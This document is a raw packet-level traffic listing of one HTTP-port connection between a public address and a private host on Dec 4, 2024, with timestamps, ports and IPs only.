Dec 4, 2024 16:11:02.339150906 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.339200974 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.339344978 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.340116024 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.340184927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.340214968 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.341064930 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.341134071 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.341325998 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.341981888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.342071056 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.342092991 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.343080997 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.343096972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.343295097 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.343914986 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.344000101 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.344227076 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.344861984 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.344921112 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.344963074 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.345866919 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.345906973 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.345954895 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.346834898 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.346911907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.346982956 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.347812891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.347915888 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.347954035 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.348773003 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.348879099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.348921061 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.349733114 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.349836111 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.349843979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.350739002 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.350784063 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.350821018 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.351682901 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.351752043 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.351788998 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.352689981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.352705956 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.352829933 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.353669882 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.353857994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.354063988 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.354636908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.354748964 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.354763031 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.355652094 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.355746984 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.355796099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.356599092 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.356653929 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.356734037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.357554913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.357646942 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.357886076 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.358524084 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.358592987 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.358741999 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.359510899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.359575033 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.359663963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.360485077 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.360553980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.360562086 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.361417055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.361516953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.361530066 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.362428904 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.362504005 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.362541914 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.363399982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.363563061 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.363579988 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.364437103 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.364478111 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.364490986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.365437984 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.365530014 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.365608931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.366338015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.366436958 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.366441011 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.367297888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.367430925 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.367470980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.368282080 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.368381023 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.368482113 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.369261026 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.369323015 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.369357109 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.370399952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.370482922 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.370572090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.371223927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.371320963 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.371396065 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.372353077 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.372392893 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.372509003 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.373195887 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.373402119 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.373442888 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.374145031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.374169111 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.374255896 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.375140905 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.375246048 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.375277042 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.376152992 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.376223087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.376351118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.496238947 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.496367931 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.496437073 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.496727943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.496809006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.496892929 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.497701883 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.497725010 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.497775078 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.498677015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.521320105 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.521337986 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.521385908 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.521450043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.521539927 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.521609068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.521783113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.521845102 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.522701025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.522876024 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.522938013 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.523607969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.524827957 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.524840117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.524852991 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.524882078 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.524926901 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.525552988 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.526041985 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.526093006 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.526525974 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.526556969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.526609898 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.527509928 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.527616978 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.527693987 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.528506041 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.528662920 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.528717995 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.529495001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.529634953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.529683113 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.530539989 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.530828953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.530889034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.531577110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.531620979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.531713009 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.532454014 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.532741070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.532810926 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.533335924 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.533396006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.533477068 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.534495115 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.534585953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.534657955 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.535355091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.535458088 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.535567045 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.538949966 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.539454937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.539505005 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.539812088 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.539916039 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.539927959 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.539938927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.539964914 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.540004015 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.540457010 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.540621996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.540678978 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.541733027 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.541748047 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.541835070 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.542256117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.542270899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.542284012 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.542318106 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.542382956 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.542432070 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.543385029 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.543611050 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.543711901 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.547700882 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.547715902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.547727108 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.547754049 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.547859907 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.547916889 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.548238039 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.548407078 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.548425913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.548438072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.548454046 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.548496962 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.548881054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.548990965 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.549041033 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.549730062 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.549741983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.549782038 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.550717115 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.550770044 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.550837040 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.551867962 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.552095890 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.552165985 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.552977085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.553051949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.553114891 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.553829908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.553901911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.553937912 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.554714918 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.554833889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.554903030 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.555649996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.555777073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.555855036 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.556922913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.557005882 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.557065964 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.557828903 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.557852983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.557909966 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.558655977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.558711052 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.558759928 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.559396982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.559490919 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.559534073 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.560259104 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.560389042 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.560436964 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.561254978 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.561338902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.561386108 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.562186956 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.562288046 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.562360048 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.562899113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.562968969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.563028097 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.563755035 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.563807964 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.563875914 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.564563036 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.564611912 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.564661980 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.565519094 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.565648079 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.565715075 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.566565990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.566606045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.566682100 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.567492008 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.567569017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.567621946 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.568453074 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.568563938 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.568643093 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.688591003 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.688693047 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.688783884 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.689084053 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.689188957 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.689249039 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.690059900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.690423012 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.690475941 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.691019058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.713278055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.713339090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.713382006 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.713763952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.713829041 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.714011908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.714116096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.714184999 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.714927912 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.715044022 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.715100050 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.715943098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.716031075 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.716106892 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.716922045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.717041016 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.717097998 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.717864990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.717907906 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.717981100 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.718852043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.718878984 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.718935966 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.719870090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.720155954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.720201969 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.720782995 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.720978022 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.721035004 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.721848011 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.721976995 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.722093105 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.722752094 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.722811937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.722867966 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.723715067 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.723875046 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.723928928 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.724709034 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.724878073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.724934101 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.726059914 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.726145983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.726213932 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.726648092 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.726761103 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.726815939 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.727653980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.727741957 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:02.727797031 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:02.728605986 CET	80	49724	185.215.113.16	192.168.2.12
